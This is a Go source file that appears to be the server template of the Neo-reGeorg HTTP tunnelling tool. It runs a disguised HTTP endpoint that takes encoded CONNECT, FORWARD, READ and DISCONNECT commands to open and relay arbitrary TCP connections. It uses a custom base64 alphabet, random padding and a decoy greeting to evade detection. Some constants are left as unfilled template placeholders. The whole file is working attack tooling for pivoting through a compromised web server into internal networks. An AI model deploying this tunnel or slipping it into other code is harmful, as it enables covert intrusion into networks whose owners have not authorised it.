/
tunnel.go
280 lines (243 loc) · 6.42 KB
/
tunnel.go
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package main
import (
"bytes"
"encoding/base64"
"encoding/binary"
"fmt"
"io/ioutil"
"math/rand"
"net"
"net/http"
"os"
"strings"
"sync"
"time"
)
var (
DATA = 1
CMD = 2
MARK = 3
STATUS = 4
ERROR = 5
IP = 6
PORT = 7
REDIRECTURL = 8
FORCEREDIRECT = 9
en = []byte("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/")
de = []byte("BASE64 CHARSLIST")
en_map = make(map[byte]byte)
de_map = make(map[byte]byte)
neoreg_hello = []byte("NeoGeorg says, 'All seems fine'")
sessions = make(map[string]*session)
lock sync.Mutex
)
func zip(tomap map[byte]byte, a []byte, b []byte) {
size := len(a)
for i := 0; i < size; i++ {
tomap[a[i]] = b[i]
}
}
func base64decode(data []byte) ([]byte, error) {
size := len(data)
out := make([]byte, size)
for i := 0; i < size; i++ {
n := de_map[data[i]]
if n == 0 {
out[i] = data[i]
} else {
out[i] = n
}
}
return base64.StdEncoding.DecodeString(string(out))
}
func base64encode(rawdata []byte) []byte {
data := []byte(base64.StdEncoding.EncodeToString(rawdata))
size := len(data)
out := make([]byte, size)
for i := 0; i < size; i++ {
n := en_map[data[i]]
if n == 0 {
out[i] = data[i]
} else {
out[i] = n
}
}
return out
}
func blv_decode(data []byte) map[int][]byte {
info := make(map[int][]byte)
in := bytes.NewReader(data)
var b_byte byte
var l_int32 int32
for true {
err := binary.Read(in, binary.BigEndian, &b_byte)
if err != nil {
break
}
binary.Read(in, binary.BigEndian, &l_int32)
b := int(b_byte)
l := int(l_int32) - BLV_L_OFFSET
v := make([]byte, l)
in.Read(v)
info[b] = v
}
return info
}
func randbyte() []byte {
min := 5
max := 20
length := rand.Intn(max-min-1) + 1
data := make([]byte, length)
rand.Read(data)
return data
}
func blv_encode(info map[int][]byte) []byte {
info[0] = randbyte()
info[39] = randbyte()
data := bytes.NewBuffer([]byte{})
for b, v := range info {
l := len(v)
binary.Write(data, binary.BigEndian, byte(b))
binary.Write(data, binary.BigEndian, int32(l) + BLV_L_OFFSET)
binary.Write(data, binary.BigEndian, v)
}
return data.Bytes()
}
func newSession(conn net.Conn) *session {
sess := &session{
conn: conn,
buf: new(bytes.Buffer),
input: make(chan []byte, 100),
}
go func() {
for {
buf := make([]byte, READBUF)
n, err := sess.conn.Read(buf)
if err != nil {
return
}
for sess.buf.Len() > MAXREADSIZE {
time.Sleep(10*time.Millisecond)
}
sess.buf.Write(buf[:n])
}
sess.Close()
}()
go func() {
for !sess.closed {
_, err := sess.conn.Write(<-sess.input)
if err != nil {
return
}
}
sess.Close()
}()
return sess
}
type session struct {
conn net.Conn
buf *bytes.Buffer
input chan []byte
closed bool
}
func (sess *session) Write(buf []byte) error {
if sess.closed {
return fmt.Errorf("conn closed")
}
sess.input <- buf
return nil
}
func (sess *session) Close() {
sess.conn.Close()
close(sess.input)
sess.closed = true
}
func neoreg(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(HTTPCODE)
defer r.Body.Close()
data, _ := ioutil.ReadAll(r.Body)
if USE_REQUEST_TEMPLATE == 1 && len(data) > 0 {
data = data[START_INDEX:]
data = data[:len(data)-END_INDEX]
}
out, err := base64decode(data)
if err == nil && len(out) != 0 {
info := blv_decode(out)
rinfo := make(map[int][]byte)
cmd := string(info[CMD])
mark := string(info[MARK])
switch cmd {
case "CONNECT":
ip := string(info[IP])
port_str := string(info[PORT])
targetAddr := ip + ":" + port_str
conn, err := net.DialTimeout("tcp", targetAddr, time.Millisecond*3000)
if err == nil {
lock.Lock()
sessions[mark] = newSession(conn)
lock.Unlock()
rinfo[STATUS] = []byte("OK")
} else {
rinfo[STATUS] = []byte("FAIL")
rinfo[ERROR] = []byte(err.Error())
}
case "FORWARD":
sess := sessions[mark]
if sess != nil {
data := info[DATA]
err := sess.Write(data)
if err == nil {
rinfo[STATUS] = []byte("OK")
} else {
rinfo[STATUS] = []byte("FAIL")
rinfo[ERROR] = []byte(err.Error())
}
} else {
rinfo[STATUS] = []byte("FAIL")
rinfo[ERROR] = []byte("session is closed")
}
case "READ":
sess := sessions[mark]
if sess != nil {
rinfo[STATUS] = []byte("OK")
if sess.buf.Len() > 0 {
rinfo[DATA] = sess.buf.Bytes()
sess.buf.Reset()
}
} else {
rinfo[STATUS] = []byte("FAIL")
rinfo[ERROR] = []byte("session is closed")
}
case "DISCONNECT":
sess := sessions[mark]
if sess != nil {
lock.Lock()
delete(sessions, mark)
lock.Unlock()
sess.Close()
}
default:
hello, _ := base64decode(neoreg_hello)
fmt.Fprintf(w, "%s", hello)
return
}
data := blv_encode(rinfo)
fmt.Fprintf(w, "%s", base64encode(data))
} else {
hello, _ := base64decode(neoreg_hello)
fmt.Fprintf(w, "%s", hello)
}
}
func main() {
if len(os.Args) != 2 {
return
}
zip(en_map, en, de)
zip(de_map, de, en)
listen_addr := os.Args[1]
if !strings.ContainsAny(listen_addr, ":") {
listen_addr = ":" + listen_addr
}
http.HandleFunc("/", neoreg)
http.ListenAndServe(listen_addr, nil)
}